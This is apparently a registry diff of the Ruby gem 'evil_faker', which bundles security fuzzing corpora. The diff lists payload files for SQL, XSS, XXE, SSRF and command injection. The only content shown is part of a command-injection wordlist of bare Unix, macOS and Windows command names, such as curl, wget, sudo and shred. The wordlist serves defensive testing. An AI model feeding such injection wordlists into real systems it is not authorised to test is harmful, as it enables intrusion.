evil_faker 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/CHANGELOG.md +62 -0
- data/GENERATORS.md +164 -0
- data/LICENSE.txt +21 -0
- data/NOTICE.md +196 -0
- data/README.md +156 -0
- data/Rakefile +12 -0
- data/lib/evil_faker/base.rb +50 -0
- data/lib/evil_faker/data/blns.txt +742 -0
- data/lib/evil_faker/data/groups/blns/emoji/emoji.txt +10 -0
- data/lib/evil_faker/data/groups/blns/emoji/emoticons.txt +12 -0
- data/lib/evil_faker/data/groups/blns/emoji/regional.txt +3 -0
- data/lib/evil_faker/data/groups/blns/exploits/cves.txt +4 -0
- data/lib/evil_faker/data/groups/blns/exploits/human.txt +1 -0
- data/lib/evil_faker/data/groups/blns/exploits/ios.txt +3 -0
- data/lib/evil_faker/data/groups/blns/exploits/irc.txt +1 -0
- data/lib/evil_faker/data/groups/blns/filenames.txt +14 -0
- data/lib/evil_faker/data/groups/blns/injection/command.txt +6 -0
- data/lib/evil_faker/data/groups/blns/injection/file_inclusion.txt +2 -0
- data/lib/evil_faker/data/groups/blns/injection/interpolation.txt +9 -0
- data/lib/evil_faker/data/groups/blns/injection/jinja2.txt +2 -0
- data/lib/evil_faker/data/groups/blns/injection/script.txt +236 -0
- data/lib/evil_faker/data/groups/blns/injection/server_code.txt +9 -0
- data/lib/evil_faker/data/groups/blns/injection/sql.txt +8 -0
- data/lib/evil_faker/data/groups/blns/injection/xxe.txt +1 -0
- data/lib/evil_faker/data/groups/blns/numeric/numeric.txt +71 -0
- data/lib/evil_faker/data/groups/blns/numeric/unicode_numbers.txt +2 -0
- data/lib/evil_faker/data/groups/blns/profanity.txt +22 -0
- data/lib/evil_faker/data/groups/blns/reserved.txt +19 -0
- data/lib/evil_faker/data/groups/blns/rtl.txt +7 -0
- data/lib/evil_faker/data/groups/blns/terminal.txt +3 -0
- data/lib/evil_faker/data/groups/blns/unicode/accents.txt +4 -0
- data/lib/evil_faker/data/groups/blns/unicode/bom.txt +2 -0
- data/lib/evil_faker/data/groups/blns/unicode/controls.txt +3 -0
- data/lib/evil_faker/data/groups/blns/unicode/font.txt +8 -0
- data/lib/evil_faker/data/groups/blns/unicode/lowercase.txt +2 -0
- data/lib/evil_faker/data/groups/blns/unicode/quotes.txt +11 -0
- data/lib/evil_faker/data/groups/blns/unicode/scripts.txt +2 -0
- data/lib/evil_faker/data/groups/blns/unicode/special.txt +4 -0
- data/lib/evil_faker/data/groups/blns/unicode/symbols.txt +12 -0
- data/lib/evil_faker/data/groups/blns/unicode/trick.txt +5 -0
- data/lib/evil_faker/data/groups/blns/unicode/two_byte.txt +10 -0
- data/lib/evil_faker/data/groups/blns/unicode/upsidedown.txt +2 -0
- data/lib/evil_faker/data/groups/blns/unicode/whitespace.txt +1 -0
- data/lib/evil_faker/data/groups/blns/zalgo.txt +5 -0
- data/lib/evil_faker/data/groups/fuzzdb/email/invalid.txt +26 -0
- data/lib/evil_faker/data/groups/fuzzdb/email/valid.txt +32 -0
- data/lib/evil_faker/data/groups/fuzzdb/emoji/emoji.txt +8 -0
- data/lib/evil_faker/data/groups/fuzzdb/emoji/emoticons.txt +11 -0
- data/lib/evil_faker/data/groups/fuzzdb/emoji/regional.txt +3 -0
- data/lib/evil_faker/data/groups/fuzzdb/exploits/ios.txt +1 -0
- data/lib/evil_faker/data/groups/fuzzdb/headers/mimetypes.txt +1864 -0
- data/lib/evil_faker/data/groups/fuzzdb/headers/protocol.txt +357 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/command.txt +1115 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/directory_traversal.txt +536 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/file_inclusion.txt +906 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/file_upload_bypass.txt +371 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/format_strings.txt +67 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/generic.txt +584 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/integer_overflow.txt +12 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/json.txt +89 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/ldap.txt +35 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/magic_hashes.txt +24 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/nosql.txt +17 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/open_redirect.txt +37 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/rfi.txt +2241 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/script.txt +930 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/server_side_include.txt +78 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/source_disclosure.txt +18 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/sql.txt +661 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/ssrf.txt +56 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/type_confusion.txt +329 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/xpath.txt +13 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/xxe.txt +65 -0
- data/lib/evil_faker/data/groups/fuzzdb/routes/debug_params.txt +157 -0
- data/lib/evil_faker/data/groups/fuzzdb/routes/directory_indexing.txt +15 -0
- data/lib/evil_faker/data/groups/fuzzdb/routes/local_paths.txt +26 -0
- data/lib/evil_faker/data/groups/fuzzdb/rtl.txt +5 -0
- data/lib/evil_faker/data/groups/fuzzdb/terminal.txt +3 -0
- data/lib/evil_faker/data/groups/fuzzdb/unicode/bad_chars.txt +15 -0
- data/lib/evil_faker/data/groups/fuzzdb/unicode/special.txt +31 -0
- data/lib/evil_faker/data/groups/fuzzdb/unicode/trick.txt +5 -0
- data/lib/evil_faker/data/groups/fuzzdb/unicode/two_byte.txt +9 -0
- data/lib/evil_faker/data/groups/fuzzdb/unicode/upsidedown.txt +2 -0
- data/lib/evil_faker/data/groups/intruder_payloads/filenames.txt +124 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/command.txt +445 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/directory_traversal.txt +2578 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/file_inclusion.txt +698 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/generic.txt +1401 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/overflow.txt +36 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/script.txt +61 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/server_side_include.txt +18 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/sql.txt +753 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/xxe.txt +66 -0
- data/lib/evil_faker/data/groups/intruder_payloads/unicode/bad_chars.txt +1 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/headers/cache_deception.txt +1125 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/command.txt +496 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/directory_traversal.txt +22607 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/file_inclusion.txt +4787 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/ldap.txt +60 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/nosql.txt +26 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/open_redirect.txt +305 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/script.txt +2165 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/sql.txt +1354 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/ssti.txt +105 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/xxe.txt +102 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/routes/admin_interfaces.txt +52 -0
- data/lib/evil_faker/groups/email.rb +11 -0
- data/lib/evil_faker/groups/emoji.rb +12 -0
- data/lib/evil_faker/groups/exploits.rb +13 -0
- data/lib/evil_faker/groups/filenames.rb +8 -0
- data/lib/evil_faker/groups/headers.rb +12 -0
- data/lib/evil_faker/groups/injection.rb +35 -0
- data/lib/evil_faker/groups/numeric.rb +11 -0
- data/lib/evil_faker/groups/profanity.rb +8 -0
- data/lib/evil_faker/groups/reserved.rb +8 -0
- data/lib/evil_faker/groups/routes.rb +13 -0
- data/lib/evil_faker/groups/rtl.rb +8 -0
- data/lib/evil_faker/groups/terminal.rb +8 -0
- data/lib/evil_faker/groups/unicode.rb +23 -0
- data/lib/evil_faker/groups/zalgo.rb +8 -0
- data/lib/evil_faker/source_base.rb +30 -0
- data/lib/evil_faker/sources/blns.rb +8 -0
- data/lib/evil_faker/sources/fuzzdb.rb +8 -0
- data/lib/evil_faker/sources/intruder_payloads.rb +8 -0
- data/lib/evil_faker/sources/payloads_all_the_things.rb +8 -0
- data/lib/evil_faker/version.rb +5 -0
- data/lib/evil_faker.rb +13 -0
- data/scripts/blns_build_corpus.rb +159 -0
- data/scripts/fuzzdb_build_corpus.rb +166 -0
- data/scripts/generate_namespaces.rb +87 -0
- data/scripts/intruder_payloads_build_corpus.rb +112 -0
- data/scripts/payloads_all_the_things_build_corpus.rb +74 -0
- data/sig/evil_faker.rbs +4 -0
- metadata +181 -0
|
@@ -0,0 +1,1115 @@
|
|
|
1
|
+
accept
|
|
2
|
+
access
|
|
3
|
+
aclocal
|
|
4
|
+
aconnect
|
|
5
|
+
acpi
|
|
6
|
+
acpi_available
|
|
7
|
+
acpid
|
|
8
|
+
addr2line
|
|
9
|
+
addresses
|
|
10
|
+
agetty
|
|
11
|
+
alsactl
|
|
12
|
+
amidi
|
|
13
|
+
amixer
|
|
14
|
+
anacron
|
|
15
|
+
aplay
|
|
16
|
+
aplaymidi
|
|
17
|
+
apm
|
|
18
|
+
apmd
|
|
19
|
+
apropos
|
|
20
|
+
apt
|
|
21
|
+
ar
|
|
22
|
+
arch
|
|
23
|
+
arecord
|
|
24
|
+
arecordmidi
|
|
25
|
+
arp
|
|
26
|
+
as
|
|
27
|
+
at
|
|
28
|
+
atd
|
|
29
|
+
atq
|
|
30
|
+
atrm
|
|
31
|
+
audiosend
|
|
32
|
+
aumix
|
|
33
|
+
autoconf
|
|
34
|
+
autoheader
|
|
35
|
+
automake
|
|
36
|
+
autoreconf
|
|
37
|
+
autoscan
|
|
38
|
+
autoupdate
|
|
39
|
+
badblocks
|
|
40
|
+
banner
|
|
41
|
+
basename
|
|
42
|
+
bash
|
|
43
|
+
batch
|
|
44
|
+
bc
|
|
45
|
+
biff
|
|
46
|
+
bison
|
|
47
|
+
bzcmp
|
|
48
|
+
bzdiff
|
|
49
|
+
bzgrep
|
|
50
|
+
bzip2
|
|
51
|
+
bzless
|
|
52
|
+
bzmore
|
|
53
|
+
c++
|
|
54
|
+
cal
|
|
55
|
+
cardctl
|
|
56
|
+
cardmgr
|
|
57
|
+
cat
|
|
58
|
+
cc
|
|
59
|
+
cdda2wav
|
|
60
|
+
cdparanoia
|
|
61
|
+
cdrdao
|
|
62
|
+
cdrecord
|
|
63
|
+
cfdisk
|
|
64
|
+
c++filt
|
|
65
|
+
chage
|
|
66
|
+
chattr
|
|
67
|
+
chfn
|
|
68
|
+
chgrp
|
|
69
|
+
chkconfig
|
|
70
|
+
chmod
|
|
71
|
+
chown
|
|
72
|
+
chpasswd
|
|
73
|
+
chroot
|
|
74
|
+
chrt
|
|
75
|
+
chsh
|
|
76
|
+
chvt
|
|
77
|
+
cksum
|
|
78
|
+
clear
|
|
79
|
+
cmp
|
|
80
|
+
col
|
|
81
|
+
colcrt
|
|
82
|
+
colrm
|
|
83
|
+
column
|
|
84
|
+
comm
|
|
85
|
+
compress
|
|
86
|
+
cp
|
|
87
|
+
cpio
|
|
88
|
+
cpp
|
|
89
|
+
crond
|
|
90
|
+
crontab
|
|
91
|
+
csplit
|
|
92
|
+
ctags
|
|
93
|
+
cupsd
|
|
94
|
+
cut
|
|
95
|
+
cvs
|
|
96
|
+
date
|
|
97
|
+
dd
|
|
98
|
+
deallocvt
|
|
99
|
+
debugfs
|
|
100
|
+
depmod
|
|
101
|
+
devdump
|
|
102
|
+
df
|
|
103
|
+
diff
|
|
104
|
+
diff3
|
|
105
|
+
dig
|
|
106
|
+
dir
|
|
107
|
+
dircolors
|
|
108
|
+
dirname
|
|
109
|
+
disable
|
|
110
|
+
dlpsh
|
|
111
|
+
dmesg
|
|
112
|
+
dnsdomainname
|
|
113
|
+
dnssec-keygen
|
|
114
|
+
dnssec-makekeyset
|
|
115
|
+
dnssec-signkey
|
|
116
|
+
dnssec-signzone
|
|
117
|
+
doexec
|
|
118
|
+
domainname
|
|
119
|
+
dosfsck
|
|
120
|
+
du
|
|
121
|
+
dump
|
|
122
|
+
dumpe2fs
|
|
123
|
+
dumpkeys
|
|
124
|
+
e2fsck
|
|
125
|
+
e2image
|
|
126
|
+
e2label
|
|
127
|
+
echo
|
|
128
|
+
edquota
|
|
129
|
+
egrep
|
|
130
|
+
eject
|
|
131
|
+
elvtune
|
|
132
|
+
emacs
|
|
133
|
+
enable
|
|
134
|
+
env
|
|
135
|
+
envsubst
|
|
136
|
+
esd
|
|
137
|
+
esdcat
|
|
138
|
+
esd-config
|
|
139
|
+
esdctl
|
|
140
|
+
esddsp
|
|
141
|
+
esdmon
|
|
142
|
+
esdplay
|
|
143
|
+
esdrec
|
|
144
|
+
esdsample
|
|
145
|
+
etags
|
|
146
|
+
ex
|
|
147
|
+
expand
|
|
148
|
+
expr
|
|
149
|
+
factor
|
|
150
|
+
false
|
|
151
|
+
fc-cache
|
|
152
|
+
fc-list
|
|
153
|
+
fdformat
|
|
154
|
+
fdisk
|
|
155
|
+
fetchmail
|
|
156
|
+
fgconsole
|
|
157
|
+
fgrep
|
|
158
|
+
file
|
|
159
|
+
find
|
|
160
|
+
finger
|
|
161
|
+
fingerd
|
|
162
|
+
flex
|
|
163
|
+
fmt
|
|
164
|
+
fold
|
|
165
|
+
formail
|
|
166
|
+
free
|
|
167
|
+
fsck
|
|
168
|
+
ftp
|
|
169
|
+
ftpd
|
|
170
|
+
fuser
|
|
171
|
+
g++
|
|
172
|
+
gawk
|
|
173
|
+
gcc
|
|
174
|
+
gdb
|
|
175
|
+
getent
|
|
176
|
+
getkeycodes
|
|
177
|
+
gpasswd
|
|
178
|
+
gpg
|
|
179
|
+
gpgsplit
|
|
180
|
+
gpgv
|
|
181
|
+
gpm
|
|
182
|
+
gprof
|
|
183
|
+
grep
|
|
184
|
+
groff
|
|
185
|
+
groffer
|
|
186
|
+
groupadd
|
|
187
|
+
groupdel
|
|
188
|
+
groupmod
|
|
189
|
+
groups
|
|
190
|
+
grpck
|
|
191
|
+
grpconv
|
|
192
|
+
gs
|
|
193
|
+
gunzip
|
|
194
|
+
gzexe
|
|
195
|
+
gzip
|
|
196
|
+
halt
|
|
197
|
+
hdparm
|
|
198
|
+
head
|
|
199
|
+
hexdump
|
|
200
|
+
host
|
|
201
|
+
hostid
|
|
202
|
+
hostname
|
|
203
|
+
htdigest
|
|
204
|
+
hwclock
|
|
205
|
+
iconv
|
|
206
|
+
id
|
|
207
|
+
ifconfig
|
|
208
|
+
imapd
|
|
209
|
+
inetd
|
|
210
|
+
info
|
|
211
|
+
init
|
|
212
|
+
insmod
|
|
213
|
+
install
|
|
214
|
+
ipcrm
|
|
215
|
+
ipcs
|
|
216
|
+
iptables
|
|
217
|
+
iptables-restore
|
|
218
|
+
iptables-save
|
|
219
|
+
isodump
|
|
220
|
+
isoinfo
|
|
221
|
+
isosize
|
|
222
|
+
isovfy
|
|
223
|
+
ispell
|
|
224
|
+
join
|
|
225
|
+
kbd_mode
|
|
226
|
+
kbdrate
|
|
227
|
+
kernelversion
|
|
228
|
+
kill
|
|
229
|
+
killall
|
|
230
|
+
killall5
|
|
231
|
+
klogd
|
|
232
|
+
kudzu
|
|
233
|
+
last
|
|
234
|
+
lastb
|
|
235
|
+
lastlog
|
|
236
|
+
ld
|
|
237
|
+
ldconfig
|
|
238
|
+
ldd
|
|
239
|
+
less
|
|
240
|
+
lesskey
|
|
241
|
+
lftp
|
|
242
|
+
lftpget
|
|
243
|
+
link
|
|
244
|
+
ln
|
|
245
|
+
loadkeys
|
|
246
|
+
locale
|
|
247
|
+
locate
|
|
248
|
+
lockfile
|
|
249
|
+
logger
|
|
250
|
+
login
|
|
251
|
+
logname
|
|
252
|
+
logrotate
|
|
253
|
+
look
|
|
254
|
+
losetup
|
|
255
|
+
lpadmin
|
|
256
|
+
lpinfo
|
|
257
|
+
lpmove
|
|
258
|
+
lpq
|
|
259
|
+
lpr
|
|
260
|
+
lprm
|
|
261
|
+
lpstat
|
|
262
|
+
ls
|
|
263
|
+
lsattr
|
|
264
|
+
lsmod
|
|
265
|
+
lspci
|
|
266
|
+
lsusb
|
|
267
|
+
m4
|
|
268
|
+
mail
|
|
269
|
+
mailq
|
|
270
|
+
mailstats
|
|
271
|
+
mailto
|
|
272
|
+
make
|
|
273
|
+
makedbm
|
|
274
|
+
makemap
|
|
275
|
+
man
|
|
276
|
+
manpath
|
|
277
|
+
mattrib
|
|
278
|
+
mbadblocks
|
|
279
|
+
mcat
|
|
280
|
+
mcd
|
|
281
|
+
mcopy
|
|
282
|
+
md5sum
|
|
283
|
+
mdel, mdeltree
|
|
284
|
+
mdir
|
|
285
|
+
mdu
|
|
286
|
+
merge
|
|
287
|
+
mesg
|
|
288
|
+
metamail
|
|
289
|
+
metasend
|
|
290
|
+
mformat
|
|
291
|
+
mimencode
|
|
292
|
+
minfo
|
|
293
|
+
mkdir
|
|
294
|
+
mkdosfs
|
|
295
|
+
mke2fs
|
|
296
|
+
mkfifo
|
|
297
|
+
mkfs
|
|
298
|
+
mkfs.ext3
|
|
299
|
+
mkisofs
|
|
300
|
+
mklost+found
|
|
301
|
+
mkmanifest
|
|
302
|
+
mknod
|
|
303
|
+
mkraid
|
|
304
|
+
mkswap
|
|
305
|
+
mktemp
|
|
306
|
+
mlabel
|
|
307
|
+
mmd
|
|
308
|
+
mmount
|
|
309
|
+
mmove
|
|
310
|
+
modinfo
|
|
311
|
+
modprobe
|
|
312
|
+
more
|
|
313
|
+
mount
|
|
314
|
+
mountd
|
|
315
|
+
mpartition
|
|
316
|
+
mpg123
|
|
317
|
+
mpg321
|
|
318
|
+
mrd
|
|
319
|
+
mren
|
|
320
|
+
mshowfat
|
|
321
|
+
mt
|
|
322
|
+
mtools
|
|
323
|
+
mtoolstest
|
|
324
|
+
mtype
|
|
325
|
+
mv
|
|
326
|
+
mzip
|
|
327
|
+
named
|
|
328
|
+
namei
|
|
329
|
+
nameif
|
|
330
|
+
netstat
|
|
331
|
+
newaliases
|
|
332
|
+
newgrp
|
|
333
|
+
newusers
|
|
334
|
+
nfsd
|
|
335
|
+
nfsstat
|
|
336
|
+
nice
|
|
337
|
+
nm
|
|
338
|
+
nohup
|
|
339
|
+
nslookup
|
|
340
|
+
nsupdate
|
|
341
|
+
objcopy
|
|
342
|
+
objdump
|
|
343
|
+
od
|
|
344
|
+
openvt
|
|
345
|
+
passwd
|
|
346
|
+
paste
|
|
347
|
+
patch
|
|
348
|
+
pathchk
|
|
349
|
+
perl
|
|
350
|
+
pidof
|
|
351
|
+
ping
|
|
352
|
+
pinky
|
|
353
|
+
pmap
|
|
354
|
+
portmap
|
|
355
|
+
poweroff
|
|
356
|
+
pppd
|
|
357
|
+
pr
|
|
358
|
+
praliases
|
|
359
|
+
printenv
|
|
360
|
+
printf
|
|
361
|
+
ps
|
|
362
|
+
ptx
|
|
363
|
+
pwck
|
|
364
|
+
pwconv
|
|
365
|
+
pwd
|
|
366
|
+
python
|
|
367
|
+
quota
|
|
368
|
+
quotacheck
|
|
369
|
+
quotaoff
|
|
370
|
+
quotaon
|
|
371
|
+
quotastats
|
|
372
|
+
raidstart
|
|
373
|
+
ramsize
|
|
374
|
+
ranlib
|
|
375
|
+
rarpd
|
|
376
|
+
rcp
|
|
377
|
+
rdate
|
|
378
|
+
rdev
|
|
379
|
+
rdist
|
|
380
|
+
rdistd
|
|
381
|
+
readcd
|
|
382
|
+
readelf
|
|
383
|
+
readlink
|
|
384
|
+
reboot
|
|
385
|
+
reject
|
|
386
|
+
rename
|
|
387
|
+
renice
|
|
388
|
+
repquota
|
|
389
|
+
reset
|
|
390
|
+
resize2fs
|
|
391
|
+
restore
|
|
392
|
+
rev
|
|
393
|
+
rexec
|
|
394
|
+
rexecd
|
|
395
|
+
richtext
|
|
396
|
+
rlogin
|
|
397
|
+
rlogind
|
|
398
|
+
rm
|
|
399
|
+
rmail
|
|
400
|
+
rmdir
|
|
401
|
+
rmmod
|
|
402
|
+
rndc
|
|
403
|
+
rootflags
|
|
404
|
+
route
|
|
405
|
+
routed
|
|
406
|
+
rpcgen
|
|
407
|
+
rpcinfo
|
|
408
|
+
rpm
|
|
409
|
+
rsh
|
|
410
|
+
rshd
|
|
411
|
+
rsync
|
|
412
|
+
runlevel
|
|
413
|
+
rup
|
|
414
|
+
ruptime
|
|
415
|
+
rusers
|
|
416
|
+
rusersd
|
|
417
|
+
rwall
|
|
418
|
+
rwho
|
|
419
|
+
rwhod
|
|
420
|
+
sane-find-scanner
|
|
421
|
+
scanadf
|
|
422
|
+
scanimage
|
|
423
|
+
scp
|
|
424
|
+
screen
|
|
425
|
+
script
|
|
426
|
+
sdiff
|
|
427
|
+
sed
|
|
428
|
+
sendmail
|
|
429
|
+
sensors
|
|
430
|
+
seq
|
|
431
|
+
setfdprm
|
|
432
|
+
setkeycodes
|
|
433
|
+
setleds
|
|
434
|
+
setmetamode
|
|
435
|
+
setquota
|
|
436
|
+
setsid
|
|
437
|
+
setterm
|
|
438
|
+
sftp
|
|
439
|
+
sh
|
|
440
|
+
sha1sum
|
|
441
|
+
showkey
|
|
442
|
+
showmount
|
|
443
|
+
shred
|
|
444
|
+
shutdown
|
|
445
|
+
size
|
|
446
|
+
skill
|
|
447
|
+
slabtop
|
|
448
|
+
slattach
|
|
449
|
+
sleep
|
|
450
|
+
slocate
|
|
451
|
+
snice
|
|
452
|
+
sort
|
|
453
|
+
split
|
|
454
|
+
ssh
|
|
455
|
+
ssh-add
|
|
456
|
+
ssh-agent
|
|
457
|
+
sshd
|
|
458
|
+
ssh-keygen
|
|
459
|
+
ssh-keyscan
|
|
460
|
+
stat
|
|
461
|
+
statd
|
|
462
|
+
strace
|
|
463
|
+
strfile
|
|
464
|
+
strings
|
|
465
|
+
strip
|
|
466
|
+
stty
|
|
467
|
+
su
|
|
468
|
+
sudo
|
|
469
|
+
sum
|
|
470
|
+
swapoff
|
|
471
|
+
swapon
|
|
472
|
+
sync
|
|
473
|
+
sysctl
|
|
474
|
+
sysklogd
|
|
475
|
+
syslogd
|
|
476
|
+
tac
|
|
477
|
+
tail
|
|
478
|
+
tailf
|
|
479
|
+
talk
|
|
480
|
+
talkd
|
|
481
|
+
tar
|
|
482
|
+
taskset
|
|
483
|
+
tcpd
|
|
484
|
+
tcpdump
|
|
485
|
+
tcpslice
|
|
486
|
+
tee
|
|
487
|
+
telinit
|
|
488
|
+
telnet
|
|
489
|
+
telnetd
|
|
490
|
+
test
|
|
491
|
+
tftp
|
|
492
|
+
tftpd
|
|
493
|
+
time
|
|
494
|
+
tload
|
|
495
|
+
tmpwatch
|
|
496
|
+
top
|
|
497
|
+
touch
|
|
498
|
+
tr
|
|
499
|
+
tracepath
|
|
500
|
+
traceroute
|
|
501
|
+
troff
|
|
502
|
+
true
|
|
503
|
+
tset
|
|
504
|
+
tsort
|
|
505
|
+
tty
|
|
506
|
+
tune2fs
|
|
507
|
+
tunelp
|
|
508
|
+
ul
|
|
509
|
+
umount
|
|
510
|
+
uname
|
|
511
|
+
uncompress
|
|
512
|
+
unexpand
|
|
513
|
+
unicode_start
|
|
514
|
+
unicode_stop
|
|
515
|
+
uniq
|
|
516
|
+
uptime
|
|
517
|
+
useradd
|
|
518
|
+
userdel
|
|
519
|
+
usermod
|
|
520
|
+
users
|
|
521
|
+
usleep
|
|
522
|
+
uudecode
|
|
523
|
+
uuencode
|
|
524
|
+
uuidgen
|
|
525
|
+
vdir
|
|
526
|
+
vi
|
|
527
|
+
vidmode
|
|
528
|
+
vim
|
|
529
|
+
vmstat
|
|
530
|
+
volname
|
|
531
|
+
w
|
|
532
|
+
wall
|
|
533
|
+
warnquota
|
|
534
|
+
watch
|
|
535
|
+
wc
|
|
536
|
+
wget
|
|
537
|
+
whatis
|
|
538
|
+
whereis
|
|
539
|
+
which
|
|
540
|
+
who
|
|
541
|
+
whoami
|
|
542
|
+
whois
|
|
543
|
+
write
|
|
544
|
+
xargs
|
|
545
|
+
xinetd
|
|
546
|
+
yacc
|
|
547
|
+
yes
|
|
548
|
+
ypbind
|
|
549
|
+
ypcat
|
|
550
|
+
ypinit
|
|
551
|
+
ypmatch
|
|
552
|
+
yppasswd
|
|
553
|
+
yppasswdd
|
|
554
|
+
yppoll
|
|
555
|
+
yppush
|
|
556
|
+
ypserv
|
|
557
|
+
ypset
|
|
558
|
+
yptest
|
|
559
|
+
ypwhich
|
|
560
|
+
ypxfr
|
|
561
|
+
zcat
|
|
562
|
+
zcmp
|
|
563
|
+
zdiff
|
|
564
|
+
zdump
|
|
565
|
+
zforce
|
|
566
|
+
zgrep
|
|
567
|
+
zic
|
|
568
|
+
zless
|
|
569
|
+
zmore
|
|
570
|
+
znew
|
|
571
|
+
alias
|
|
572
|
+
alloc
|
|
573
|
+
awk
|
|
574
|
+
bg
|
|
575
|
+
bind
|
|
576
|
+
bless
|
|
577
|
+
break
|
|
578
|
+
builtin
|
|
579
|
+
bzip
|
|
580
|
+
caller
|
|
581
|
+
case
|
|
582
|
+
cd
|
|
583
|
+
chflags
|
|
584
|
+
command
|
|
585
|
+
complete
|
|
586
|
+
continue
|
|
587
|
+
cron
|
|
588
|
+
curl
|
|
589
|
+
dc
|
|
590
|
+
declare
|
|
591
|
+
defaults
|
|
592
|
+
dirs
|
|
593
|
+
diskutil
|
|
594
|
+
disown
|
|
595
|
+
ditto
|
|
596
|
+
dot_clean
|
|
597
|
+
drutil
|
|
598
|
+
dscacheutil
|
|
599
|
+
dscl
|
|
600
|
+
ed
|
|
601
|
+
eval
|
|
602
|
+
exec
|
|
603
|
+
exit
|
|
604
|
+
expect
|
|
605
|
+
export
|
|
606
|
+
fc
|
|
607
|
+
fg
|
|
608
|
+
for
|
|
609
|
+
fsaclctl
|
|
610
|
+
fs_usage
|
|
611
|
+
GetFileInfo
|
|
612
|
+
getopt
|
|
613
|
+
getopts
|
|
614
|
+
goto
|
|
615
|
+
hash
|
|
616
|
+
hdiutil
|
|
617
|
+
history
|
|
618
|
+
if
|
|
619
|
+
jobs
|
|
620
|
+
kextfind
|
|
621
|
+
kickstart
|
|
622
|
+
l
|
|
623
|
+
launchctl
|
|
624
|
+
ll
|
|
625
|
+
let
|
|
626
|
+
lipo
|
|
627
|
+
local
|
|
628
|
+
logout
|
|
629
|
+
lsregister
|
|
630
|
+
lsbom
|
|
631
|
+
lsof
|
|
632
|
+
mdfind
|
|
633
|
+
mdutil
|
|
634
|
+
net
|
|
635
|
+
networksetup
|
|
636
|
+
ntfs.util
|
|
637
|
+
onintr
|
|
638
|
+
open
|
|
639
|
+
opensnoop
|
|
640
|
+
osacompile
|
|
641
|
+
osascript
|
|
642
|
+
pbcopy
|
|
643
|
+
pbpaste
|
|
644
|
+
pico
|
|
645
|
+
pkgutil
|
|
646
|
+
plutil
|
|
647
|
+
pmset
|
|
648
|
+
popd
|
|
649
|
+
pushd
|
|
650
|
+
read
|
|
651
|
+
readonly
|
|
652
|
+
return
|
|
653
|
+
say
|
|
654
|
+
screencapture
|
|
655
|
+
security
|
|
656
|
+
select
|
|
657
|
+
set
|
|
658
|
+
setfile
|
|
659
|
+
shift
|
|
660
|
+
shopt
|
|
661
|
+
sips
|
|
662
|
+
softwareupdate
|
|
663
|
+
source
|
|
664
|
+
stop
|
|
665
|
+
suspend
|
|
666
|
+
sw_vers
|
|
667
|
+
system_profiler
|
|
668
|
+
systemsetup
|
|
669
|
+
textutil
|
|
670
|
+
times
|
|
671
|
+
trap
|
|
672
|
+
type
|
|
673
|
+
ufs.util
|
|
674
|
+
ulimit
|
|
675
|
+
umask
|
|
676
|
+
unalias
|
|
677
|
+
units
|
|
678
|
+
unset
|
|
679
|
+
until
|
|
680
|
+
uucp
|
|
681
|
+
wait
|
|
682
|
+
where
|
|
683
|
+
while
|
|
684
|
+
a
|
|
685
|
+
assoc
|
|
686
|
+
atmadm
|
|
687
|
+
attrib
|
|
688
|
+
bootcfg
|
|
689
|
+
cacls
|
|
690
|
+
call
|
|
691
|
+
change
|
|
692
|
+
chcp
|
|
693
|
+
chdir
|
|
694
|
+
chkdsk
|
|
695
|
+
chkntfs
|
|
696
|
+
cipher
|
|
697
|
+
cls
|
|
698
|
+
cmd
|
|
699
|
+
cmstp
|
|
700
|
+
color
|
|
701
|
+
comp
|
|
702
|
+
compact
|
|
703
|
+
convert
|
|
704
|
+
copy
|
|
705
|
+
cprofile
|
|
706
|
+
cscript
|
|
707
|
+
defrag
|
|
708
|
+
del
|
|
709
|
+
diskcomp
|
|
710
|
+
diskcopy
|
|
711
|
+
diskpart
|
|
712
|
+
doskey
|
|
713
|
+
driverquery
|
|
714
|
+
endlocal
|
|
715
|
+
eventcreate
|
|
716
|
+
eventquery
|
|
717
|
+
eventtriggers
|
|
718
|
+
evntcmd
|
|
719
|
+
filter
|
|
720
|
+
findstr
|
|
721
|
+
flattemp
|
|
722
|
+
format
|
|
723
|
+
fsutil
|
|
724
|
+
ftype
